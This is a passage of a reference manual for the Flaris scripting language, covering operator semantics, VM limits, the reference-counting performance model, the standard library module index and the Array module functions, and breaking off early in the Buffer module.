- `^^` is exponentiation (`x ^^ y` = x raised to y). It binds tighter than every other binary operator and than a prefix operator on its **left**, and it nests to the **right**, as in mathematics and as `**` does in Python: `2 * 3 ^^ 2` = 18, `2 ^^ 3 ^^ 2` = 512, `-2 ^^ 2` = -4 (write `(-2) ^^ 2` for 4). Its right operand is a unary expression, so `2 ^^ -1` parses.

- A `nil` operand on either side makes every arithmetic and bitwise operator yield `nil`: `+ - * / % ^^ & | ^ << >> >>>`, unary `-` and `~`, the compound assignments, and `++` / `--` (a `nil` target stays `nil`). `nil + 5`, `"a" + nil` and `[1] + nil` are all `nil`. A slot that cannot hold `nil` - an `[int]` or `[float]` element, a typed field - refuses the result with `TypeMismatch`, as it refuses a plain store of `nil`. Comparisons, `==`, `!=`, `??`, `&&`, `||`, `in` and `is` are not arithmetic and are unaffected.

- `+` is **overloaded by operand type** and never a type error (see also Operator operand checking):

  - `number + number` - arithmetic (int lane unless an operand is `float`).
  - `char + char` / `char + string` - concatenate into a `string`; `char + int` is arithmetic on the code point (`'a' + 1` is `98`).
  - `array + array` - a **new** array with the elements of both (neither operand is mutated); `array + value` appends `value` to a copy.
  - `object + object` - a **new** merged object (right operand's keys win).
  - anything else - the operands are coerced to their string forms and concatenated (`true` / `false` render as themselves), so `true + 5` is `"true5"`.

- Comparison (`<` `<=` `>` `>=`) and equality (`==` `!=`) on **containers** are structural and recursive (bounded by the comparison-depth limit below):
  - `array` / `array` and `block` / `block` compare **lexicographically** for ordering (first differing element decides; a prefix is "less"), and element-by-element for equality. `!=` is the negation of `==`.
  - `object` / `object`, `exception` / `exception`, `instance` / `instance` and `class` / `class` compare by **identity**: two separately built objects with the same keys and values are not equal.
  - Mixed numeric kinds compare by value across `int` / `float` / `char` / `bool` (`'A' == 65` is `true`; `1 == 1.0` is `true`). Two values of otherwise unrelated types are never equal.
- Unary `+x` is an identity operator (yields `x` unchanged); `await expr` is a prefix operator usable in expression position, whereas `yield` is a **statement** only and cannot appear inside a larger expression.
- `≈` (approximate equality) uses `APPROX_REL_EPS = 1e-2` and `APPROX_ABS_EPS = 1e-9`.

R6 - VM Limits and portability

Fibers and Scheduling

Limit	Default	Maximum	Description
Fibers	256	1024	Concurrent fibers tracked by the scheduler; override with `--fibers=` (a power of two)
Events	256	256	Event slots (I/O, async, etc.)
Timers	256	256	Active timers
Async I/O operations	512	512	Stream operations in flight at once: async calls plus synchronous calls parked on a socket or serial port. One more raises `Exception.OutOfMemory` on the fiber that asked; whatever it had taken from the stream's read-ahead stays there
Per-fiber scheduling quantum	10,000	100,000	Scheduling checkpoints (loop back-edges + function calls) per slice before auto-yield; tune with `Fiber.SetQuantum`

At the fiber limit. A fiber counts against the limit from the moment it is scheduled - `Fiber.Run`, `Fiber.Resume`, `await`, `Fiber.Await`, `Fiber.AwaitAll`, `Scheduler.Schedule`, a `Fiber.SendMessage` or `Fiber.Cancel` that has to wake it - until it finishes, or parks in a `yield` that nobody awaits. Running, ready, sleeping, parked (`Fiber.Park`), waiting (on another fiber or an event) and I/O-parked fibers all count, the main fiber included; a fiber created with `Fiber.New` and not yet started, or parked in an unawaited `yield`, does not. Scheduling one more raises `Exception.OutOfFibers` on the fiber that asked, which keeps running and can catch it; nothing is started, woken or cancelled. A fiber that is already counted is never displaced: the running fiber, and one waking from a sleep, an event or completed I/O, always gets back in. A timer, signal handler or I/O completion callback that needs a new fiber while the limit is reached is dropped with a warning, since there is no fiber to raise on.

Call Stack and Execution

Limit	Default	Maximum	Description
Call frames	64	1,024	Call stack depth; override with `--frames=`
Nested try/catch handlers	24	24	Maximum nested try/catch handlers
Evaluation stack	1,024	65,535	VM evaluation stack size per fiber; override with `--stack=`

Locals and Arguments

Limit	Value	Description
Local variables per function	128	Slots per frame. Every declaration takes its own slot - including a shadowed one, each loop's variable, and the hidden cursors a `foreach` / `iter` needs - so a function with many loops reaches the limit before it has 128 named variables.
Function call arguments	16	Maximum arguments in user function calls
Captured variables per closure	64	Distinct enclosing-function locals one closure reads or assigns; more is a compile error

Compiler and Parser

Limit	Value	Description
Parser nesting depth	256	Nested statements, expressions and type annotations in one construct. Each `.member` / `()` / `[]` step of a chain, each `else if` in a ladder and each operand of an operator chain (`a + b + c + …`, `s + "x" + …`) also counts, so a 257-step chain or ladder, or an expression whose operands and nesting together pass 256, is rejected with a compile error - split it into statements or build an array and `String.Join` it. This single budget is what bounds the compiler's own stack use: any accepted file compiles on a 512 KB thread.
Syntax errors per unit	100	Diagnostics the parser reports before giving up on a file or `VM.Eval` unit.
Syntax nodes per file	250,000	AST nodes one source file may produce. Imports are compiled separately and do not count; split a larger file into modules.
Identifier / numeric literal length	1,024 bytes	Compile error above this length
String literal content	64 KB	`"..."` and `"""..."""` alike
Interpolation holes per `$"..."`	15	One `String.Format` argument each, one fewer than the call-argument limit
Elements per array / object literal	stack size	A literal is built on the evaluation stack: one slot per array element, two per object property, on top of any operands pending around it in the same function, such as earlier call arguments. A function whose peak stack use exceeds the stack size (default 1,024 slots) loads with a warning naming it and the `--stack=` size that fits, and calling it raises `Exception.StackError`. Over 65,535 elements or 32,767 properties is a compile error. Build larger containers in a loop
Line numbers in stack traces	65,535	With `-g`, every line past 65,535 reports 65,535 (the compiler warns once). Without `-g` every frame reports line 0
Comparison depth	1,024	Max nesting for structural `==` /ordering of containers (raises `Exception.NestingError`; above the JSON depth cap, so parsed documents always compare)
Clone depth	512	Max nesting for `Object.Clone` / `Array.Clone`; a deeper or **cyclic** value raises `Exception.NestingError` instead of overflowing the stack (above the JSON depth cap, so parsed documents always clone)
Print depth	64	Console value printing descends this deep, then elides deeper values with `...`
`VM.Eval()` / `VM.Compile()` source	10 KB	Max source length

Bytecode and Chunks

Limit	Value	Description
Source file size	10 MB	Maximum source file size

Limit	Value	Description
Bytecode per function	10 MB	Maximum compiled bytecode per function. Branch offsets are 16-bit, so within that: an `if`/`else`, `while`, `for` or `break` can jump over at most 65,535 bytes, and an `iter` or `foreach` loop, a `try` or a jump-table `switch` must lie in the first 65,535 bytes of its function. Past either bound compilation fails with "exceeds 16-bit addressable limit" - split the function
Constants per function	16,384	Maximum constant pool entries per function

Strings and Text

Limit	Value	Description
String size	256 MB	Maximum size of a single string
String split parts	100,000	Maximum parts returned by string split
OS command output	16 MB	Maximum captured stdout/stderr from OS commands

Memory Blocks and Buffers

Limit	Value	Description
Single block allocation	2 GiB	Maximum size of a single block allocation
Total block allocations	64 GiB	Total cap across all active block allocations
`Memory.Process()` input	1 GiB	Max span per call: 128 Mi elements at up to 8 bytes each

Collections

Limit	Value	Description
Array elements / object properties	16,777,216	Max elements in an array or properties in an object
Hash function input	1 GiB	Max input to hashing functions

Classes

Limit	Value	Description
Inheritance chain depth	8	Maximum class inheritance depth
CLI arguments	128	Maximum CLI arguments passed to the VM

Special Methods

Method	Called when	Notes
`Constructor(...)`	`new ClassName(...)`	Optional. Return value is ignored; `new` always returns the instance.
`Destructor()`	Last reference to the instance is released	Optional. `this` is the dying instance. Exceptions are swallowed. Not inherited. **Not run for instances still alive at process exit** - teardown tears down the fiber that would execute it, so release anything that must be cleaned up (or do it explicitly) before returning from `Main`. **Do not let `this` escape** (store it in a global, array, or another object's field): the instance then stays alive, and its destructor runs again when that reference is released - copy out the field values you need instead.

Float Approximation Thresholds

Threshold	Value	Description
Relative epsilon (`≈`)	`1e-2`	Relative tolerance for the `≈` operator
Absolute epsilon (`≈`)	`1e-9`	Absolute tolerance for the `≈` operator

Platform Portability

Flaris targets 64-bit platforms only (x86-64 and ARM64 on Linux, macOS, and Windows).

Compiled Bytecode (.flx)

`.flx` files are fully portable between all supported platforms running the same VM version. The bytecode format uses only fixed-width integer types stored little-endian throughout (header, constant pool, bytecode operands and JIT IR); no pointer-sized fields are stored on disk. Strings used more than once within a file are held once in a shared string pool and referenced by index, so a name mentioned by many functions costs a single copy on disk.

Integer Range

Small integers are stored as tagged pointers (range ±2^60). Integers outside this range are heap-allocated transparently - behavior is identical, only allocation strategy differs. Scripts do not need to account for this.

Pointer-width APIs

Functions that expose raw memory addresses (`Buffer.GetAddress`, `Memory.Alloc`) return 64-bit process-local addresses. Addresses stored in `.flx` constants or serialized to disk are meaningless outside the process that produced them and must never be shared or persisted.

Detection

Use `Os.Arch()` and `Os.Name()` to branch on platform at runtime (`Os.Bits()` is always `64`):

```
if (Os.Arch() == "arm64") {
    // Apple-silicon / AArch64 path
}
```

R7 - Performance Model

Understanding how Flaris executes helps write fast, predictable programs.

Execution Model

Flaris compiles source to bytecode, then runs it on a stack-based VM. On ARM64 (`aarch64`) and x86-64, eligible functions are additionally compiled to native machine code at first call - see R11 for details. On other platforms the bytecode interpreter is the only execution tier.

What the compiler optimizes

Every compile folds constants: arithmetic, comparisons and string concatenation on literals, `const` and enum member reads, ternaries and `switch` statements with a constant scrutinee. With optimizations on (the default) the compiler also removes `if` / `while` / `for` / `iter` bodies whose condition or range is a constant, moves loop-invariant pure expressions out of loops, rewrites `x = x + e` into `x += e`, replaces reads of a function-local `const` or of a `let` that is never assigned again with the number it was declared with, turns `x`

`in [1, 2, 3]` into a chain of comparisons when `x` is known to have the elements' type, expands trivial single-expression functions at their call sites, fuses common instruction sequences, and eliminates tail calls. A function declared `fn inline` is expanded at its call sites whether or not optimizations are on.

A method calling a sibling by its bare name (`helper(x)` rather than `this.helper(x)`) dispatches on the receiver directly - no bound method is built for the call, and none is released after it. The first execution records which member it resolved to, so later calls skip the lookup as well. This applies to a call written with `this.` too.

None of this changes what a program prints, returns or raises. An expression is only moved out of a loop when it cannot raise - a division by a variable stays inside its guard - and a multiply-add is only fused into one instruction when all three operands are proven ints, so float arithmetic rounds exactly as written. `Math.Fma` is the explicit single-rounding multiply-add. `--no-opt` exists for comparing output and debugging the compiler, not for changing behaviour; the only observable difference is that deep tail recursion needs the optimized build.

Dynamic Typing and Runtime Checks

Types are checked at runtime. Invalid operations fail fast with no undefined behavior. In hot loops, avoid changing the type of a variable frequently - type stability helps the VM dispatch efficiently.

```
// Good — type-stable loop
let sum = 0;
for (let i = 0; i < n; i += 1) {
    sum += arr[i];
}
```

Memory Management

Flaris uses **deterministic reference counting**, not a garbage collector.

- Objects are freed immediately when the last reference drops.
- No stop-the-world pauses, and `Destructor` runs at a predictable point.
- Avoid creating short-lived objects inside tight loops.
- Reuse arrays and objects where possible.

Objects come from pre-allocated SLAB pools. A release that reaches zero hands the object to a deferred-free FIFO, which is drained at safe points; this keeps the release path short and bounds cascading frees. Nothing in the VM traces from roots - there is no mark-and-sweep phase and no cycle collector.

Reference cycles are never collected

Pure reference counting cannot reclaim a cycle: each object in the loop is still referenced by another, so no count ever reaches zero. The usual source is a **back-reference** - a child that points at its parent.

```
class Node {
    let _parent = nil;      // holds the parent...
    let _children:array = [];
```

```
}
// ...while the parent holds the child. Neither is ever freed.
```

The fix is a weak handle for the back-reference, or a structural change. In order of preference:

0. **Observe the parent through a handle.** `Weak.Create(parent)` does not keep the parent alive and `Weak.Get` yields `nil` once it is gone - see the `Weak` module.
1. **Do not store the parent.** Most back-references exist to read one or two values. Copy those values into the child at construction instead of the object.
2. **Let the owner pass itself in** as a method argument when the child needs it, so the reference lives only for the duration of the call.
3. **Break the cycle explicitly** before dropping the structure - assign `nil` to the back-reference in a teardown method or `Destructor`.

The same applies to any loop, not just parent/child: two objects referencing each other, a closure stored on the object it captures, or a fiber handle kept in a field of the object whose method the fiber runs.

Finding leaks

Run with `--mem`. It prints live/peak object counts and a leak dump at shutdown, and **exits non-zero when leaks are found**, so it works in CI:

```
flarisvm --mem myprogram.fls
```

A leak count that is stable across runs but non-zero almost always means a cycle rather than a missing release. `Debug.Refs(value)` reports an individual value's reference count, and `VM.MemoryStats()` returns the same counters programmatically for an in-test check. Note that the project's own suite runs `flarisvm --mem`, so a program that looks clean without the flag can still fail there.

Locals vs Property Access

Local variables are the fastest storage. Property lookups require a hashmap traversal.

```
// Cache property before a hot loop
let v = obj.value;
for (...) {
    sum += v;   // fast — local
}
```

Arrays vs Objects

Structure	Access	Memory	Best for
`array`	O(1) index	Compact	Numeric loops, dense data
`object`	O(1) hash	Flexible	Structured data, named fields

Prefer arrays for anything numeric or iteration-heavy.

Classes vs. Generic Objects

Structure	Field storage	Shape	Best for
`class` instance	Fixed slots, direct index	Locked in at compile time (or via `Class.Define`)	Hot paths, many instances of the same shape
`object`	Hashmap	Can add/remove keys at any time	Ad-hoc or variable-shape data, prototyping

A class instance's fields are laid out once and read by direct slot index - no hashing. A generic object's fields live in a hashmap so any key can be added or removed at runtime, which costs more per field access and per allocation than a class instance does.

If a hot loop ends up constructing many objects that all share the same keys, switch to a class - or build one at runtime directly from an object's shape:

```
let shape = { x: 0, y: 0 };               // used only as a template
let Point = Class.Define("Point", shape); // same fields/defaults, fixed layout
let p = Class.New(Point);
p.x = 10;
```

`Class.Define(name, fields)` raises if `fields` is not an object or if it has more fields than a class can carry. The resulting class is otherwise a normal class - `Class.New` constructs instances from it like any other.

Built-ins vs Script Loops

Built-in functions execute closer to the VM and reduce dispatch overhead. Prefer them over equivalent hand-written loops.

```
// Better - built-in
let squares = Array.Select(xs, fn(x){ return x * x; });

// Slower - script loop
let r = [];
for (...) { Array.Append(r, x * x); }
```

Fibers and Scheduling

Fibers are cooperatively scheduled - they never run unless resumed or awaited. No data races by default.

- Batch work inside a fiber before yielding.
- Avoid spawning fibers for tiny tasks.
- Avoid `yield` inside tight numeric loops.
- Default scheduling quantum per fiber: 10,000 checkpoints (tunable via `Fiber.SetQuantum()`, up to 100,000). A checkpoint occurs at each loop back-edge and at each function call - not at every instruction. A fiber created by another inherits its creator's quantum, so throttling a fiber throttles everything it spawns.

Strings

`a + b` allocates a new string; `s += piece` appends in place only while `s` is the sole reference to its value.

- Avoid repeated concatenation in loops.
- Accumulate data first, convert to string once.
- For large text building, collect into an array and use `String.Join()`.

Binary and Numeric Heavy Work

For heavy data processing, use `block` values and `Memory.*` functions. This minimizes object allocation and works similarly to `Span<byte>` in systems languages.

```
let buf = Buffer.Create(1024, 1);
Buffer.Fill(buf, 0);
Memory.Process(Buffer.GetAddress(buf), 1024, 1, fn(x){ return x + 1; });
```

Measure, Don't Guess

Most common bottlenecks are:

- Excessive allocations in hot paths
- Too many small fibers
- Repeated property lookups in loops
- Overuse of dynamic object structures where arrays suffice

Use `--time` (timing) and `--stats` (statistics) flags. Profile real workloads before optimizing.

Mental Model Summary

What	Cost
Local variable read/write	Very cheap
Array index access	Cheap
Property lookup	Moderate (hashmap)
Built-in function call	Cheap
Script function call	Moderate
Object/array allocation	Moderate
String concatenation	Creates new string
Fiber creation	Cheap
Fiber context switch	Cheap

R8 - Standard Library

Flaris ships 32 built-in modules covering everything from math and string processing to networking, concurrency, graphics, and low-level memory access.

Usage

All standard library functions are accessed through their namespace:

```
let sorted = Array.Sort(myArr);
let digest = Hash.Sha256("hello");
let root = Math.Sqrt(2.0);
```

No import statement is needed - all modules are always available. Two modules additionally need a runtime flag: `Memory` needs `--unsafe`, and `Ffi` needs `--allow-ffi` (or `--unsafe`, which implies it).

Each function table has a `JIT` column stating whether the function can be called directly from JIT-compiled code (see R11 for the legend and the surrounding rules).

Module Index

Category	Module	Description
Data	`Array`	Map, filter, sort, and aggregate arrays
	`Buffer`	Low-level fixed-size binary buffers
	`Collections`	Stack, Queue, HashMap, PriorityQueue, MaxPriorityQueue, LinkedList, Set, and OrderedMap factory functions
	`Object`	Introspect and manipulate objects and instances
	`Class`	Type-level reflection and inheritance inspection
	`Type`	Runtime type constants for use with `type()`
Strings & Text	`String`	UTF-8 string operations
	`Char`	Unicode character classification and conversion
	`Regex`	POSIX extended regular expression matching
	`Json`	JSON parse, serialize, path query/mutation, patch, canonical form
	`Convert`	Type conversion across all integer widths
Math & Encoding	`Math`	Full mathematical library
	`Random`	Seeded, deterministic PCG32 random streams
	`Hash`	Non-cryptographic and cryptographic hashes
	`Crypto`	XChaCha20-Poly1305 encryption and CSPRNG
I/O & Files	`File`	File read, write, and metadata
	`Directory`	Filesystem directory operations
	`Path`	Cross-platform path string manipulation
	`Stream`	Unified I/O for files, sockets, and serial ports
	`Console`	Terminal I/O, color, and cursor control
	`FileWatch`	Watch file-states on files and callbacks
Networking	`Net`	DNS, IP conversion, and interface inspection
Concurrency	`Fiber`	Green-thread creation, messaging, and lifecycle
	`Event`	One-shot fiber synchronization (max 256 events)
	`Scheduler`	Low-level fiber scheduling primitives
	`Timers`	Fiber-based timer scheduling (max 256 timers)
System	`OS`	Process, environment, and system interface
	`VM`	VM introspection and control
	`Ffi`	Dynamic native library loading ⚠
	`Memory`	Unsafe raw memory access ⚠
Time	`Time`	Unix timestamp manipulation
Debug	`Debug`	Assertions, introspection, and runtime checks

⚠ = requires a runtime flag: `--unsafe` for `Memory`, `--allow-ffi` or `--unsafe` for `Ffi`

Type Annotation Shorthands

Shorthand	Meaning
`any`	every type available
`number`	`int` or `float`
`numeric`	`int`, `float`, `bool`, or `char`
`ptr`	`int` (raw address), `string`, `block`, or `pointer` - anything pointer-like
`string|block`	string or binary block
`object|instance|class`	any object-like value

Return type is shown after `-`. Optional arguments are shown as `arg?`.

Array

Namespace: `Array`

Higher-level operations on arrays: mapping, filtering, sorting, aggregation, and capacity management. Most functions create new arrays; some mutate in-place (noted in Description).

Equality: `Contains`, `IndexOf`, and `Distinct` use strict value+type equality — `2` (int) does not match `2.0` (float), unlike the `==` operator and `BinarySearch` / `Append`, which coerce ints to float when the array is a `[float]` array.

Default order (`Sort` without a predicate, `SortBy` keys, `BinarySearch` / `SortedInsert` without a predicate): `nil` < `bool` < numbers (ints and floats compared by value, NaN last) < `char` < `string` < everything else. Strings compare byte by byte with a shorter prefix first, exactly like `<`.

Sort stability: `Sort` and `SortBy` are stable: equal elements keep their original order. With a predicate that holds for a strict-less relation (`a < b`); a non-strict (`a <= b`) predicate is also accepted but does not preserve the original order of equal elements.

Callbacks that modify the array: while a `Sort`, `SortBy`, `BinarySearch`, `SortedInsert`, or `RemoveAll` callback runs, the array reads as empty; storing into it from the comparator raises a `RuntimeError` once the call finishes and the array keeps its original elements. `Process` / `ProcessIdx` stop at the array's new length if their callback shrinks it.

Constant arrays: every function that mutates in place (`Append`, `InsertAt`, `RemoveAt`, `RemoveAll`, `Swap`, `Clear`, `Reverse`, `Shuffle`, `Fill`, `Process`, `ProcessIdx`, `Sort`, `SortBy`, `SortedInsert`) raises on a `const` or frozen array, like `a[i] = x`, and raises `InvalidArguments` when the array is `nil`; so do `Reserve`, `ShrinkToFit` and `BinarySearch`. On a typed array (`[string]`, `[int]`, ...), `Append`, `InsertAt`, `Fill`, `SortedInsert`, `Process`, and `ProcessIdx` raise a type mismatch for a value of another type.

Function	Signature	Description	JIT
Append	`Append(arr:array, value:any) - arr`	Appends `value` to end of `arr`. Mutates.	✓ statement[2]
All	`All(arr:array, pred:fn) - bool`	`true` if `pred(x)` is truthy for every element (an empty array is `true`). Stops at the first falsy result.	—
Any	`Any(arr:array, pred:fn) - bool`	`true` if `pred(x)` is truthy for some element. Stops at the first truthy result.	—
Average	`Average(arr:array) - float|nil`	Returns the arithmetic mean of all elements as `float`. Returns `nil` if empty.	✓

Function	Signature	Description	JIT
BinarySearch	`BinarySearch(arr:array, value:any, less?:fn) - int`	Binary search over a SORTED array. Returns the index of a match, or `-(insertionPoint) - 1` when absent (so `-(result) - 1` is where it would go). Optional `less(a,b)-bool` must be the same predicate the array was sorted with; without it, or with `nil`, the default order. O(log n).	✓[2] without `less`
Capacity	`Capacity(arr:array) - int`	Returns current internal capacity (may exceed length).	✓
Clear	`Clear(arr:array) - bool`	Removes all elements; capacity kept. Mutates.	✓[2]
Concat	`Concat(a:array, b:array) - array`	Returns new array: all of `a` followed by all of `b`. When both have the same element type (`[int]`, `[string]`, ...) the result keeps it; otherwise it is untyped. `nil` past 16,777,216 elements.	—
Contains	`Contains(arr:array, value:any) - bool`	`true` if any element equals `value` (deep equality).	✓
Create	`Create(size:int, type?:int) - array`	Creates new array with `size` pre-allocated slots (`nil` if `size` is negative or above 16,777,216). Optional `type` (a `Type.*` constant) pre-fills all slots with the zero value for that type - `Type.Float` gives a `[float]` array of 0.0 values; `Type.Int` gives a `[int]` array of 0 values; `Type.String` gives a `[string]` array of "" values. Without a type argument all slots are `nil`.	✓ owned[1]
Distinct	`Distinct(arr:array) - array`	Returns new array with only the first occurrence of each value, in order, by strict equality (`1`, `1.0` and `"1"` are all kept; `0.0` and `-0.0` are equal; deep-equal arrays and objects are duplicates). O(n) for every element type. Keeps the element type.	—
Clone	`Clone(arr:array) - array`	Returns a shallow copy: a new array with the same elements (element refs shared). Preserves a typed array's element type.	—
Count	`Count(arr:array, pred:fn) - int`	Number of elements for which `pred(x)` is truthy.	—
Fill	`Fill(arr:array, value:any, start?:int, end?:int) - array`	Sets elements in `[start, end)` to `value` in-place (whole array by default). Negative `start`/`end` count from the end. Returns same array. Mutates.	✓ statement[2]
Find	`Find(arr:array, pred:fn) - any`	First element for which `pred(x)` is truthy, or `nil`.	—
ForEach	`ForEach(arr:array, func:fn) - array`	Calls `fn(x)` for every element; callback return value is discarded. Returns the original array.	—
FindIndex	`FindIndex(arr:array, pred:fn) - int`	Index of the first element for which `pred(x)` is truthy, or `-1`.	—
FindLast	`FindLast(arr:array, pred:fn) - any`	Last element for which `pred(x)` is truthy, or `nil`.	—
FindLastIndex	`FindLastIndex(arr:array, pred:fn) - int`	Index of the last element for which `pred(x)` is truthy, or `-1`.	—
First	`First(arr:array) - any`	Returns first element or `nil` if empty.	—
FlatMap	`FlatMap(arr:array, func:fn) - array`	Returns new array of `fn(x)` for every element; an array result is spliced in, any other value appended.	—
Flatten	`Flatten(arr:array) - array`	Returns new array with one level of nested arrays collapsed. Non-array elements are kept as-is. A flat `[int]`/`[float]` array is returned as a copy of the same type. When every element is an `[int]` array, or every element is a `[float]` array, the result has that type too.	—

Function	Signature	Description	JIT
Chunk	`Chunk(arr:array, size:int) - array`	Splits `arr` into sub-arrays of at most `size` elements. The last chunk may be smaller; each chunk keeps the element type. Raises if `size <= 0`. Returns a new array of arrays.	—
GroupBy	`GroupBy(arr:array, keyFn:fn) - array`	Groups elements by `keyFn(x)`: returns an array of `{Key, Items}` objects, one per distinct key (strict equality, as `Distinct`) in first-seen order; each `Items` keeps the element type.	—
IndexOf	`IndexOf(arr:array, value:any) - int`	Returns first index of `value` or `-1` if not found.	✓
InsertAt	`InsertAt(arr:array, index:int, value:any) - arr`	Inserts `value` at `index`, shifts remaining right; returns the array (`nil` on out-of-range, or raises on a typed-array element-type mismatch). Mutates.	✓ statement[2]
LastIndexOf	`LastIndexOf(arr:array, value:any) - int`	Index of the last element strictly equal to `value`, or `-1`.	✓
Last	`Last(arr:array) - any`	Returns last element or `nil` if empty.	—
MaxBy	`MaxBy(arr:array, keyFn:fn) - any`	The element whose `keyFn(x)` orders last by the default order (the earliest one on ties), or `nil` if empty.	—
MinBy	`MinBy(arr:array, keyFn:fn) - any`	The element whose `keyFn(x)` orders first by the default order (the earliest one on ties), or `nil` if empty.	—
Partition	`Partition(arr:array, pred:fn) - array`	Returns `[matches, rest]`: the elements for which `pred(x)` is truthy, and the others, both in order and keeping the element type.	—
Process	`Process(arr:array, func:fn) - array`	Applies `fn(value:any)` to every element in-place, replacing each element with the return value. Returns same array. Mutates.	—
ProcessIdx	`ProcessIdx(arr:array, func:fn) - array`	Applies `fn(value:any, index:int)` to every element in-place, replacing each element with the return value. Returns same array. Mutates.	—
IsAllInt	`IsAllInt(arr:array) - bool`	`true` if every element is an integer (an empty array is `true`). Use before `ProcessCallback` / `ProcessEvent` with an `int` kernel.	✓
IsAllFloat	`IsAllFloat(arr:array) - bool`	`true` if every element is a float (an empty array is `true`). Use before `ProcessCallback` / `ProcessEvent` with a `float` kernel.	✓
ProcessCallback	`ProcessCallback(fn:function, arr:array, len:int, cb:function) - nil`	Processes a scalar array with your worker function `fn(arr, len)`, then calls `cb(arr, result)` when finished. While the worker runs, the array cannot grow: `Append`, `InsertAt`, `Reserve` or an indexed write past its capacity raise, and `ShrinkToFit` returns `false`. Runs on another CPU core when `fn` is simple enough (only touches `arr`, plain number math, no calls or allocations) — otherwise runs normally, same result. The array must be all-`int`, `float`, `char`, or `bool`, and match the kernel's parameter type (`fn(arr:[int],…)` needs an int array, `fn(arr:[float],…)` a float array, etc.); anything else (mixed, or holding strings/arrays/objects) returns `nil`. See `Buffer.ProcessCallback`.	—
ProcessEvent	`ProcessEvent(fn:function, arr:array, len:int, eventId:int) - nil`	Like `ProcessCallback`, but signals event `eventId` with the result instead of calling a callback. Wait for several with `Event.WaitFor([ids])`.	—

Function	Signature	Description	JIT
Reduce	`Reduce(arr:array, func:fn, initial?:any) - any`	Aggregates left-to-right: `acc = fn(acc, x)` starting from `initial`. Without `initial`, seeds with the first element (empty array → `nil`). `acc`/result may be any type the callback returns.	—
RemoveAll	`RemoveAll(arr:array, pred:fn) - int`	Removes every element for which `pred(x)` is truthy and returns how many; the rest keep their order. `nil` if `pred` raises (nothing is removed). Mutates.	—
RemoveAt	`RemoveAt(arr:array, index:int) - bool`	Removes element at `index`, shifts remaining left. Mutates. `false` when `index` is out of range.	✓[2]
Reserve	`Reserve(arr:array, capacity:int) - bool`	Ensures capacity ≥ `capacity`. Does not affect length. Mutates capacity. `false` on a negative `capacity`; raises when the allocation fails or while an offloaded worker uses the array.	✓[2]
Reverse	`Reverse(arr:array) - array`	Reverses elements in-place. Returns same array. Mutates.	—
Select	`Select(arr:array, func:fn ) - array`	Returns new array by applying `fn(x)` to every element (map).	—
Shuffle	`Shuffle(arr:array) - array`	Randomly shuffles elements in-place (Fisher-Yates, CSPRNG). Returns same array. Mutates.	—
ShrinkToFit	`ShrinkToFit(arr:array) - bool`	Reduces capacity to match current length. `false` while an offloaded worker uses the array. Mutates capacity.	—
Skip	`Skip(arr:array, count:int) - array`	Returns new array with first `count` elements removed (a non-positive `count` keeps all). Keeps the element type.	—
Slice	`Slice(arr:array, start:int, end?:int) - array`	Returns a new array with elements `[start, end)` (to the end by default), of the same element type as `arr`. Negative indices count from the end (Python-style); both are clamped, an empty range yields `[]`.	✓ owned[1]
SequenceEqual	`SequenceEqual(a:array, b:array) - bool`	`true` if `a` and `b` have the same length and equal elements in order (strict value+type equality: `2 ≠ 2.0`).	✓
Sort	`Sort(arr:array, fn?:fn) - array`	Sorts in-place by the default order (no predicate, or `nil`), or by the optional predicate `fn(a,b)→bool` (`true` = `a` first). Stable. Mutates.	✓ statement[2] without `fn`
SortedInsert	`SortedInsert(arr:array, value:any, less?:fn) - int`	Inserts `value` into a SORTED array keeping it sorted (after any equal run). Returns the insertion index, or `nil` on failure. Same optional `less` predicate as `Sort`/`BinarySearch`. Mutates.	—
SortBy	`SortBy(arr:array, func:fn) - array`	Sorts in-place, stably, by extracted key: calls `fn(x)` once per element and orders by the keys' default order. Builtin functions (e.g. `String.Length`, `Type.Of`) use the fast path. Mutates.	—
Tally	`Tally(arr:array) - object`	Counts occurrences of each element keyed by its string form, so `2`, `"2"` and `2.0` share one entry. Returns `{value: count}`.	—
Subset	`Subset(arr:array, from:int, count:int) - array`	Returns new array of `count` elements starting at index `from`; `nil` unless `0 <= from < len` and `0 < count <= len - from` (use `Slice` for clamping). Keeps the element type.	—
Swap	`Swap(arr:array, i:int, j:int) - arr`	Swaps elements at indices `i` and `j`; returns the array (`nil` if either index is out of range). Mutates.	—
Take	`Take(arr:array, count:int) - array`	Returns new array of the first `count` elements (clamped). Keeps the element type.	—

Function	Signature	Description	JIT
Where	`Where(arr:array, func:fn ) - array`	Returns new array of elements for which `fn(x)` is truthy (filter). Keeps the element type.	—
Zip	`Zip(a:array, b:array) - array`	Returns array of `[a[i], b[i]]` pairs. Length is `min(len(a), len(b))`.	—

Array instance method syntax

All `Array` functions where the array is the first argument can be called directly on an array value. The same holds for strings, chars, fibers and streams with their modules. When the receiver's type is known at compile time, naming a function the module does not have - or one that does not take the receiver first - is a compile error; on a receiver of unknown type the call evaluates to `nil`:

```
var a: array = [3, 1, 4, 1, 5];
a = a.Append(9)              // same as Array.Append(a, 9)
a = a.Sort()                 // same as Array.Sort(a)
a.First()                    // 3
a.Last()                     // 9
a.Contains(4)                // true
a.Average()                  // arithmetic mean (Sum/Min/Max live in the Math module)
a.Select(fn(x) { return x * 2; })
a.Where(fn(x) { return x > 3; })
a.Reverse()
```

Functions that do not take an array as their first argument (`Create`, and similar factories) are not available as instance methods. Both forms compile to identical bytecode when the variable is typed (`: array` or inferred). Untyped variables fall back to a runtime dispatch.

Buffer

Namespace: **`Buffer`**

Low-level binary memory operations. A buffer is `count` elements × `size` bytes per element.

Subscripts address elements: `buf[i]` is element `i`, read **unsigned** when elements are 1, 2 or 4 bytes wide - the same value `ReadU8At` / `ReadU16At` / `ReadU32At` give at byte offset `i × size` - and as the raw signed 64-bit value when they are 8 bytes wide. `buf[i] = v` stores the low `size` bytes of `v`, so `-1` reads back as `255` from a byte buffer. For signed elements read with `ReadI8At` / `ReadI16At` / `ReadI32At`. Unlike the `Read*At` family, an out-of-range subscript raises `Exception.OutOfBounds` instead of returning `0`.

A `const` block can be read but not written: `buf[i] = v` and every function that writes it (`Write*At`, `Fill`, `Fill16` / `32` / `64`, `FillRange`, `FillPattern`, `CopyStringAt`, `CopyWithin`, `Reverse`, `Swap16` / `32` / `64`, `Append`, `Reserve`, `ChangeToString`, and `Copy` into it) raise `Exception.ConstAssign`.

Function	Signature	Description	JIT
ChangeToString	`ChangeToString(buf:block) - bool`	Reinterprets the buffer in place as a `string` whose length ends at the first NUL byte (the whole extent when there is none; the block is then grown by one byte for the terminator, so an address from `GetAddress` is stale	—

Function	Signature	Description	JIT
		afterwards). Destructive - the block handle is a string after the call.	
